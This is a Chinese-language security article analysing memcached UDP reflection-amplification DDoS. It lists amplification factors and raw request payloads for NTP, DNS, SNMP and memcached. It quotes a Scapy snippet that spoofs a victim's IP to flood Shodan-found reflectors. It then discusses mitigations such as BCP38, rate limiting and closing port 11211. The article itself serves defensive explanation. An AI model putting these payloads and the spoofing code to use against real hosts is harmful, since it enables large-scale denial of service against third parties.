导语:本文就以最新的memcache做案例分析一下其攻击原理。

0x00、DDoS反射放大攻击

攻击者通过伪造原IP欺骗的方式连接特定的UDP Server对目标端进行攻击。

攻击UDP协议需要具备一定放大作用

· memcache  60000x

· NTP 556x

· DNS 54x

· SSDP 30x

· SNMP 15x

协议本身存在漏洞

ntp 

· '\x17\x00\x02\x2a'+'\x00'*4

· dns 

· {}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01

· {}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00

· \x00\x00\x00\x00\x00\x00

snmp

· \x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c

· \x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01

· \x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06

· \x01\x02\x01\x05\x00

memcache

· \x00\x00\x00\x00\x00\x01\x00\x00stats\r\n

0x01、攻击原理

本文就以最新的memcache做案例分析一下其攻击原理

根据3月11日公布的攻击样本

from scapy.all import *

//通过python的scapy库来伪造原始IP和UDP包

data = input("[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"

//攻击向量,其实通过add或者set命令添加完全不会重复的value,然后通过get方式过去,如果增加放大倍数那返回到客户端的数据会达到几万倍

send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)

这就是伪造自己的IP为攻击源IP,通过根据Shodan扫描出来的开发UDP11211端口的IP发送数据。

再看看2018-2-27 Memcached 1.5.6更新,其实主要是默认关闭udp 11211

那么以前的版本为什么要开放UDP 11211端口呢?

过去的12年间UDP协议被广泛应用,因为TCP协议开销非常高,在代理或者特殊的客户端允许连接重用的时候,从而降低了开销,而且,RAM值非常大,以至于TCP缓冲区不会像以前那么多。

0x02、全网数据(中国境内)

搞清楚攻击原理后,我们观察一下目前中国境内memcache服务器开放情况

微信截图_20180313100754.png

图片1.png

备注,可以提供IP列表。

0x03、如何防范

运营商端:

BCP38 防止源IP伪造策略,是在各个ASN域上设置ACL控制策略防止源地址伪造,这个文档存在十多年了,但是运营商到现在也没实现,那证明这个思路可操作性差。所以,从攻击端防止源IP伪造这个事不现实,当然会有一部分攻击会被拦截。

高防端:

UDP DDoS目前没有什么很好的解决办法(只能基于源和目的IP限速的方法),清洗中心目前针对反射攻击也是在设备上设置UDP11211 block。但是如果反射源攻击总带宽大于防攻击中心的出口带宽,清洗中心只能把高防IP黑洞掉。

攻击成本:

这种UDP放大反射DDoS攻击,攻击成本太低了。

· 寻找反射源:一台云主机2-3天就能扫描到或者使用sandon API等

· 伪造IP溯源困难:都是发送的伪造IP,想找到攻击源太困难。

· 少量肉鸡就可以组织上百G的攻击,防御成本一天最少几万。

业务端:

最困扰的是:很多App游戏等都使用UDP协议。高防端无法完全禁用UDP协议。

最好的办法,还是自查把这种危险端口屏蔽掉。所以各大公有云厂商、IDC等都开始自查,关闭掉11211对外开放端口。

0x04、如何溯源

这个问题,其实在溯源行业已经存在了很多年,遇到反射,好吧只能放弃。

源链接

Hacking more

...